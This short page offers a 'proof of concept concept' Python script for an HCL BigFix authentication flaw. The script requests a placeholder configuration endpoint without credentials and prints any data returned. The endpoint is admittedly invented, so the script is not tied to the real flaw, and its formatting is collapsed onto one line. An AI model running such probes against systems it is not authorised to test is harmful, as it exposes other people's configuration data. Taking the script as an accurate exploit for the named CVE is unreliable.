CVE-2026-21767 HCL BigFix认证绕过

# CVE-2026-21767 PoC Concept (HCL BigFix Platform Insufficient Authentication) # Description: This script attempts to access a sensitive endpoint without authentication. import requests import sys def check_vulnerability(target_url): # Example sensitive endpoint that should require authentication # Replace with actual vulnerable endpoint path based on vendor advisory sensitive_path = "/api/sensitive/configuration" full_url = f"{target_url}{sensitive_path}" print(f"[*] Attempting to access: {full_url}") try: # Send request without any authentication headers or cookies response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[+] Potential vulnerability detected!") print("[+] Server responded with 200 OK without authentication.") print(f"[+] Response snippet: {response.text[:200]}") elif response.status_code == 401 or response.status_code == 403: print("[-] Access denied. Authentication is working properly.") else: print(f"[?] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <http://target_ip:port>") else: check_vulnerability(sys.argv[1])